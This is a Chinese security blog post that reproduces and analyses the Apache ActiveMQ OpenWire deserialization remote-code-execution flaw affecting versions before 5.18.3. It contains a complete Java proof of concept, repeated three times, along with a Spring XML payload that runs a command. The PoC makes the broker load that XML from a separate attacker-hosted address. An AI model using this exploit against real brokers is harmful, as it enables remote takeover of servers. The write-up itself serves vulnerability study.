声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关
现在只对常读和星标的公众号才展示大图推送,建议大家把猫蛋儿安全“设为星标”,否则可能看不到了!
漏洞简介
环境部署
直接下载5.18.3版本以下的ActiveMQ,这个直接去官网下就行。然后配置java11的环境,运行bin目录下的activemq.bat就可以运行了。
运行成功后访问 http://172.20.10.9:8161/index.html。
复现过程
漏洞分析之前,我们先复现一遍这个漏洞,有些师傅可能只是需要学习打法,所以不要急,先走遍流程。
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="process" factory-bean="runtime" factory-method="exec">
<constructor-arg value="calc" />
</bean>
</beans>
接下来执行如下poc代码。
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.transport.AbstractInactivityMonitor;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.*;
import java.io.*;
import java.lang.reflect.Method;
public class poc {
private static final String ACTIVEMQ_URL = "tcp://172.20.10.9:61616";
//定义发送消息的队列名称
private static final String QUEUE_NAME = "tempQueue";
public static void main(String[] args) throws Exception {
//创建连接工厂
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
//创建连接
Connection connection = activeMQConnectionFactory.createConnection();
//打开连接
connection.start();
Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
connection.close();
}
}
成功命令执行。
代码分析
一、寻找触发点
二、触发点分析
我们了解到这里是通过传入的参数dataIn获取的传入的claszz和message。
我们选择跟进其中一个ExceptionResponseMarshaller进行分析,进入looseUnmarshal方法后,dataIn可控,从上层DataInput dataIn传入进来。另外我们通过层次结构分析可以看到方法上层通过OpenWireFormat进行调用,所以我们继续向上。
我们上面拿的是ExceptionResponseMarshaller,所以我们的dataType为31,之后dsm创建了一个对应的类,也就是ExceptionResponse类。最后对应的执行器带着传入的参数dis和创建的类data执行looseUnmarshal向下。
这里我们可以得知DataInput dis需要是ExceptionResponse类dataType才可为31,才可以创建对应的执行器,也就是dsm才可为ExceptionResponseMarshaller。
这里我们跟进到了TcpTransport类,readCommand()<—doRun()<—run(),这里其实关键的位置就是readCommand()方法,这里的wireFormat.unmarshal是对数据进行格式化,可以认为这是一个反序列化过程。这个Command也就是我们生成的类,所以我们的发送的消息数据也需要是序列化之后的数据。
1.如何将marshal后的ExceptionResponse类发送出去。
2.寻找到一个构造函数为String类型的利用链。
三、ExceptionResponse类
这个问题我们可以通过TcpTransport.oneway方法。这个oneway()方法里面传入的Object Command实际上就是我们正常发送消息使用的producer.send(ObjectMessage)里面的ObjectMessage。这里可以参考以下文章。https://www.cnblogs.com/mthoutai/p/6774920.htmlhttps://www.iteye.com/blog/donald-draper-2348440。另外关于readCommad()获取消息的过程可以参考下面的文章。https://my.oschina.net/u/4410490/blog/3583489
我们简单跟进一下生产者的send代码。
一路跟进:
producer.send(message);
ActiveMQMessageProducerSupport.class
ActiveMQMessageProducer.class
ActiveMQSession.class—>this.connection.syncSendPacket
ActiveMQConnection.class—> this.transport.request(command)
Transport.class
ResponseCorrelator.class
—>this.asyncRequest(command, (ResponseCallback)null);
—>this.next.oneway(command);
Transport.class
MutexTransport.class—> oneway(Object command)
AbstractInactivityMonitor.class
—> oneway(Object o)
—> this.doOnewaySend(o)
AbstractInactivityMonitor完毕消息发送准备,随后就会调用TcpTransport。OpenWireFormat,DataOutputStream通过tcp发送消息。
总结一下消息发送流程:
1.发送消息入口
2.调用ActiveMQMessageProducerSupport的send方法
3.调用ActiveMQSession的send接口进行消息发送
4.ActiveMQConnection发送消息
5.ResponseCorrelator发送request
6.调用MutexTransport来发送消息
7.调用AbstractInactivityMonitor完毕消息发送准备
8.调用TcpTransport、OpenWireFormat、DataOutputStream
9.终于完毕通过tcp发送消息
//创建连接工厂
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
//创建连接
Connection connection = activeMQConnectionFactory.createConnection();
//打开连接
connection.start();
//获取oneway方法
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
四、ClassPathXmlApplicationContext类
问题2:寻找到一个构造函数为String类型的利用链;
这里其他师傅已经找到利用的点了,这里就简单弄一下。
ClassPathXmlApplicationContext类可以加载XML进行命令执行。
因为ActiveMQ自带spring相关依赖,所以可以直接利用这个方法。
因为这个漏洞触发可以看到都是需要是Throwable。所以我们只需要制作一个相同路径的ClassPathXmlApplicationContext类,触发之后系统将会寻找对应的ClassPathXmlApplicationContext类。
制作一个ClassPathXmlApplicationContext类。
按照ActiveMQ的发送消息demo写一个利用的POC。
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.transport.AbstractInactivityMonitor;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.*;
import java.io.*;
import java.lang.reflect.Method;
public class poc {
private static final String ACTIVEMQ_URL = "tcp://172.20.10.9:61616";
//定义发送消息的队列名称
private static final String QUEUE_NAME = "tempQueue";
public static void main(String[] args) throws Exception {
//创建连接工厂
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
//创建连接
Connection connection = activeMQConnectionFactory.createConnection();
//打开连接
connection.start();
Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
connection.close();
}
}
0
简单跟进一下,就不深入分析了。
成功命令执行。
五、漏洞流程完整调试
首先我们的讲序列化好的数据进行发送。
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.transport.AbstractInactivityMonitor;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.*;
import java.io.*;
import java.lang.reflect.Method;
public class poc {
private static final String ACTIVEMQ_URL = "tcp://172.20.10.9:61616";
//定义发送消息的队列名称
private static final String QUEUE_NAME = "tempQueue";
public static void main(String[] args) throws Exception {
//创建连接工厂
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
//创建连接
Connection connection = activeMQConnectionFactory.createConnection();
//打开连接
connection.start();
Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
connection.close();
}
}
1
这里将会走以下流程:
1.发送消息入口
2.调用ActiveMQMessageProducerSupport的send方法
3.调用ActiveMQSession的send接口进行消息发送
4.ActiveMQConnection发送消息
5.ResponseCorrelator发送request
6.调用MutexTransport来发送消息
7.调用AbstractInactivityMonitor完毕消息发送准备
8.调用TcpTransport、OpenWireFormat、DataOutputStream
9.终于完毕通过tcp发送消息
ActiveMQ将会监听TCP对应的61616端口。
跳转到OpenWireFormat开始进行反序列化。
我们的类型为对应的31,之后会进入tightUnmarshal方法或者looseUnmarshal方法。(这里用looseUnmarshal方法举例)
跳转到对应的looseUnmarshal方法,之后进入looseUnmarsalThrowable方法。
进入looseUnmarsalThrowable方法,将获取clazz和message随后将其传入createThrowable。
进入createThrowable,反射调用传入clazz对应的构造函数然后进行实例化。
由于我们poc构造的clazz是ClassPathXmlApplicationContext类,所以对应跳转到该类。
成功利用~~,over !!!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...